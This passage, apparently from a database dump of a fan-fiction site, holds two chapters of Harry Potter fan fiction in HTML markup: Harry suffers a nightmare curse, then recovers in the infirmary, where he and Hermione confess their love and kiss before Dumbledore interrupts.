again.&nbsp; By\nnow, Professor Dumbledore and Professor McGonagall had noticed what happened\nand rushed over to check on him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione was at Harry&#8217;s side trying to calm him down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry, please, it&#8217;s not real.&nbsp; Please, tell me what&#8217;s\nwrong!&#8221; She was scared out of her mind as she watched his body contort\nviolently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Everyone, out of the way!&#8221; Dumbledore ordered as he\nstepped through the mass of students now surrounding Harry.&nbsp; He saw the\nyoung man seizing in pain and quickly knelt down by his side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor, please, help him!&#8221; Hermione begged as tears\nformed in her eyes.&nbsp; Dumbledore placed his hand on Harry&#8217;s forehead and\nwhispered &#8216;Tranquilos&#8217;; his body went limp and passed out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;There, that will keep him calm for now.&nbsp; Ouch!&#8221;\nDumbledore drew his hand back as something burned him.&nbsp; Lifting the hair\noff Harry&#8217;s forehead, he saw something that made his stomach turn.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;His scar!&#8221; Ron gasped.&nbsp; Harry&#8217;s scar was burning\nbright red, and the boy&#8217;s head snapped from side to side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No, stop&#8230;stop please&#8230;don&#8217;t&#8230;Voldomort&#8230;&#8221; At the mention of\nthe dark wizard&#8217;s name, Dumbledore knew what was going on.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione, Ron, move back now!&#8221; Dumbledore placed his hands\non Harry&#8217;s head. &#8220;Purificas Mentales!&#8221; Harry&#8217;s body slowly stopped twitching,\nand his head came to a stop on its right side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He&#8217;ll be all right for now,&#8221; Dumbledore said softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What happened to him?&#8221; Hermione nearly demanded as she\ncradled Harry&#8217;s head in her hands.&nbsp; The older man smiled at her loyalty.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8217;s been given a Nightmare Curse.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;A nightmare curse?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes, Hermione, a nightmare curse is one of the\nworst.&nbsp; It searches a person&#8217;s mind for their darkest memory or their\ndeepest fear and turns it into an endless string of nightmares.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Can it be stopped?&#8221; the young woman asked.&nbsp;\nDumbledore held up his hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;One thing at a time, Miss Granger.&nbsp; Now, if you would\nMr. Weasley, help me carry Harry to the infirmary he needs to rest.&#8221; He turned\ntowards the rest of the student body.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Everyone, please, return to your classrooms.&#8221; The students\ndispersed slowly, many of them casting sideward glances back towards where Harry\nPotter lay.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor Dumbledore, please, let me come with him?&#8221;\nHermione asked pleadingly, while stroking Harry&#8217;s dark hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Of course, Harry needs his friends right now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione looked up to see Professor McGonagall behind\nher.&nbsp; She was supposed to present a transfiguration project to McGonagall\nthis afternoon, but with Harry the way he was, she was certain that her\nconcentration wouldn&#8217;t be anywhere near perfect.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Um, Professor McGonagall, I know that I have a project due\nthis afternoon, but I&#8230;&#8221; Hermione couldn&#8217;t finish her statement.&nbsp; She\ndidn&#8217;t even know why she asked; McGonagall was as strict as they came; she\ndidn&#8217;t make exceptions.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We&#8217;ll reschedule your presentation, Miss Granger.&#8221;\nHermione&#8217;s head snapped up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are you serious, ma&#8217;am?&#8221; She almost thought she saw a\nsmile cross the old woman&#8217;s face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Just don&#8217;t get any ideas, I expect you to be perfect with\nthe extra time that you&#8217;re receiving.&#8221;<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes ma&#8217;am!&#8221; Hermione said happily.&nbsp; In the meantime,\nRon had lifted Harry up and swung him over his shoulder.&nbsp; He carried his\nprone friend out of the Great Hall and down to the medical wing; Hermione was\nnot more than half a step behind him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor Dumbledore?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What is it, Professor McGonagall?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You saw what Harry&#8217;s scar was doing.&nbsp; &#8216;He&#8217;ll&#8217; be\ncoming soon.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes, I know, but there&#8217;s nothing than can be done about\nthat.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Albus, perhaps, it&#8217;s time that you told the boy.&#8221;\nDumbledore turned towards his colleague with a stern look, but his eyes\nsoftened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes Minerva, I suppose you&#8217;re right.&nbsp; It&#8217;s time that\nHarry understands what&#8217;s happening to him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 2, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwoke up several hours later.&nbsp; His head felt like a game of quidditch was\nbeing played inside it.&nbsp; His ears were ringing, but he could make out a\nfaint tune.&nbsp; Someone was humming.&nbsp; It hurt too much to open his eyes\nso he just listened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nhumming continued, and Harry felt a soft hand gently brush his hair.&nbsp; It\nwasn&#8217;t just a touch &#8211; more like a caress.&nbsp; Harry knew that touch; it could\nonly belong to one person &#8211;Hermione.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;I\nnever knew she could sing.&#8217; Forcing his eyes open, he turned to see her by his\nbedside.&nbsp; Her face lit up at seeing him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nshe said happily and dove off her chair into his arms. &#8220;You&#8217;re all right!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah,\nI&#8217;m okay.&nbsp; Man, if this is what a hangover feels like, remind me never to\ndrink!&#8221; Harry groaned and rubbed his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Here,\nlet me.&#8221; Hermione leaned over him and put her hands on the side of his\nface.&nbsp; She put her index and middle finger together and placed them both\non his temples.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Trust\nme,&#8221; Hermione said with a smile.&nbsp; Harry closed his eyes.&nbsp; Trust\nher?&nbsp; How could he not trust her?&nbsp; She was his best friend.&nbsp;\nHermione began rubbing his temples, and Harry let out a very long but\ngratifying sigh of relief.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;God\nHerm, you&#8217;re the best!&#8221; She giggled softly and continued her rubbing.&nbsp;\nWithin five minutes, all the tension in Harry&#8217;s body had left him.&nbsp;\nHermione went to remove her hands only to have Harry&#8217;s clasp them tightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Anybody\never tell you that you have magical hands?&#8221; he teased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nI am studying to be a witch; I hope that I&#8217;d have magical hands,&#8221; Hermione\ncountered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\nmagic has nothing to do with spells or potions; it&#8217;s your own personal magic.&#8221;\nShe blushed slightly at his indirect compliment.&nbsp; Hermione looked down\ninto his deep, emerald eyes, and Harry&#8217;s arms came up around her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nwas worried about you, Harry.&nbsp; When I saw you cry out in pain, I felt my\nheart break!&nbsp; I&#8230;I just&#8230;&#8221; Hermione lost her voice as it became laden with\nemotion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shh,&#8221;\nHarry said soothingly and pulled her down.&nbsp; He put her head on his chest\nand stroked her long, curly hair. &#8220;Don&#8217;t worry, Hermione, it&#8217;s all right; I&#8217;m\nstill here.&#8221; She realized that he was right and let herself listen to his\nstrong heartbeat as she rested in his embrace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou, Hermione.&#8221; She raised her head up to look at him and gave him a bright\nsmile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey,\nthat&#8217;s what friends are for.&#8221; Harry gazed up into her soft, brown eyes; his\nhand came up and cupped her cheek.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nmore than just my friend, Hermione.&#8221; His statement made her heartbeat triple,\nand her palms began to sweat.&nbsp; Could it be true?&nbsp; Did he&#8230;did he really&#8230;like\nher?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8230;I\nam?&#8221; she stuttered.&nbsp; Harry nodded and pulled her down until her forehead\nwas touching his.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nmy girl.&#8221; Now, to some people, that comment may have seemed shallow, but to\nHermione Granger, there had never been a truer statement.&nbsp; Her heart\npounded against her chest at his admission.&nbsp; Hermione smiled brightly and\ngazed down at him tenderly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\nalways be your girl, Harry.&#8221; He flushed when he realized that she understood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione,\nI&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shh,&#8221;\nshe silenced him with a gentle touch to his lips.&nbsp; Turning her chin up,\nHermione allowed her lips to brush his.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A\nthousand voices screamed inside Harry&#8217;s head &#8211; &#8216;You can&#8217;t do this!&nbsp; You&#8217;ll\nonly end up hurting her!&nbsp; Voldomort will use her against you!&#8217; &#8211; They all\nscreamed at Harry to stop this.&nbsp; But in the midst of all of this, his\nheart stood firm.&nbsp; It simply said &#8211; &#8216;You need her, Harry, and she needs\nyou.&nbsp; You&#8217;ve both waited long enough.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nwas beginning to fear that Harry didn&#8217;t want this.&nbsp; He hadn&#8217;t rejected her\nkiss, but he hadn&#8217;t exactly being active.&nbsp; Suddenly, his arms came up\naround her, and he pulled her tight against him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8230;&#8221;\nHarry whispered as he buried his face in her hair.&nbsp; He kissed her cheek\nand breathed softly in her ear. &#8220;&#8230;I don&#8217;t ever want to lose you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ncupped her face in his hands and brought her up until their eyes met.&nbsp; He\ncould read countless emotions in her chocolate pools &#8211; compassion, tenderness,\nloyalty, happiness, apprehension, anticipation, and love.&nbsp; Yes, he could\nread the love in her eyes.&nbsp; Harry had never seen her look like this\nbefore, and he hoped that she would never show this face to anyone but him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nI don&#8217;t ever want you to leave me.&#8221; The words just slipped out, and Hermione\nfelt slightly ashamed, but Harry only smiled at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My\nbeautiful Hermione&#8230;&#8221; The phrase rolled off Harry&#8217;s tongue like a romantic\nsonnet.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nblushed to the roots of her hair, and she turned away shyly.&nbsp; No one had\never called her beautiful before; she was always the bookworm of the group; the\none that nobody wanted to talk to.&nbsp; She&#8217;d never had a boyfriend before; no\none wanted her.&nbsp; And here was Harry Potter &#8211; the guy who any girl in\nHogwarts would kill for to have was telling her that she was beautiful.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8230;&#8221;\nHe spoke her name softly this time and turned her back to face him.&nbsp; Harry\ncould feel his strength fading, but he refused to pass out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8230;I\nlove you.&#8221; And his head fell back onto his pillow.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She\nwanted to jump up and do cartwheels across the room.&nbsp; He&#8230;he loved her; he\nactually loved her.&nbsp; He loved her &#8211; Hermione &#8211; the bookworm, annoying\nstudy partner, and loyal friend.&nbsp; And she loved him &#8211; Harry Potter &#8211; not\nthe boy who survived Voldomort, but the person that he truly was.&nbsp; Harry\nwas a kind, gentle young man who took nothing for granted.&nbsp; He was loyal\nto his friends to the point of death, and most of all, he never degraded\nanybody because they were different.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;&#8221;\nshe whispered and caressed his face.&nbsp; His eyes opened lazily, but his arms\nremained down at his sides.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nlove you too.&#8221; His eyes burst open in pure happiness, and he cracked a full\nsmile at her.&nbsp; He wanted to sit up and hold her, but his body wouldn&#8217;t\ncooperate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nsorry, Hermione, I want to take you in my arms and kiss you so bad, but I&#8217;m out\nof it right now,&#8221; Harry said dejectedly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not\na problem.&#8221; She bent down and placed a whisper of a kiss on his lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\npushed up, and his mouth covered hers.&nbsp; For only their second kiss, it was\na doozy.&nbsp; The two teenagers felt ready to explode.&nbsp; Harry couldn&#8217;t do\nvery much anymore, but he clutched the folds of Hermione&#8217;s robes in his hands\nand tugged, wanting her closer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ahem!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntwo managed to peel off one another to find none other than Dumbledore standing\nthere with an amused smirk on his face.&nbsp; Harry and Hermione almost turned\npurple from blushing so deeply, and Hermione backed away from his bedside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nHarry, I was going to ask if you were feeling better, but I see that Miss\nGranger has answered my question for me,&#8221; Dumbledore chuckled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nlooked back and forth between his mentor and his new girlfriend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor,\nI&#8217;m sorry, that wasn&#8217;t appropriate,&#8221; Hermione interjected nervously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;She&#8217;s\nright, sir, it won&#8217;t happen again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Relax,\nyou two, I&#8217;m not angry.&nbsp; Just try and keep the &#8216;making out&#8217; as you call it\nto a minimum.&nbsp; Other than that, I have no objections.&#8221; Not even the sun\ncould have outshone the light in Hermione&#8217;s eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sir,\nthank you!&#8221; they both said at the same time.&nbsp; Dumbledore coughed and\nchanged the subject.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now\nthen, back to business, Harry&#8230;when you&#8217;re strong enough, I want to see you in\nmy office; there is something that I must tell you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nsir, I will be there this afternoon.&nbsp; That is, if Madam Pomfrey let&#8217;s me\nout by then.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nheard that, Mr. Potter!&#8221; Madam Pomfrey appeared behind Dumbledore and glared at\nHarry slightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nthen, I shall leave you to her &#8216;tender&#8217; care then.&#8221; Dumbledore took his leave\ntrying hard not to grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nbetter get going too,&#8221; Hermione piped up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Wait\na minute!&#8221; Harry gasped, &#8220;You&#8217;re leaving me all alone!&#8221;&nbsp; She gave him an\nevil smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nnot alone; I&#8217;m sure Madam Pomfrey will take good care of you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" 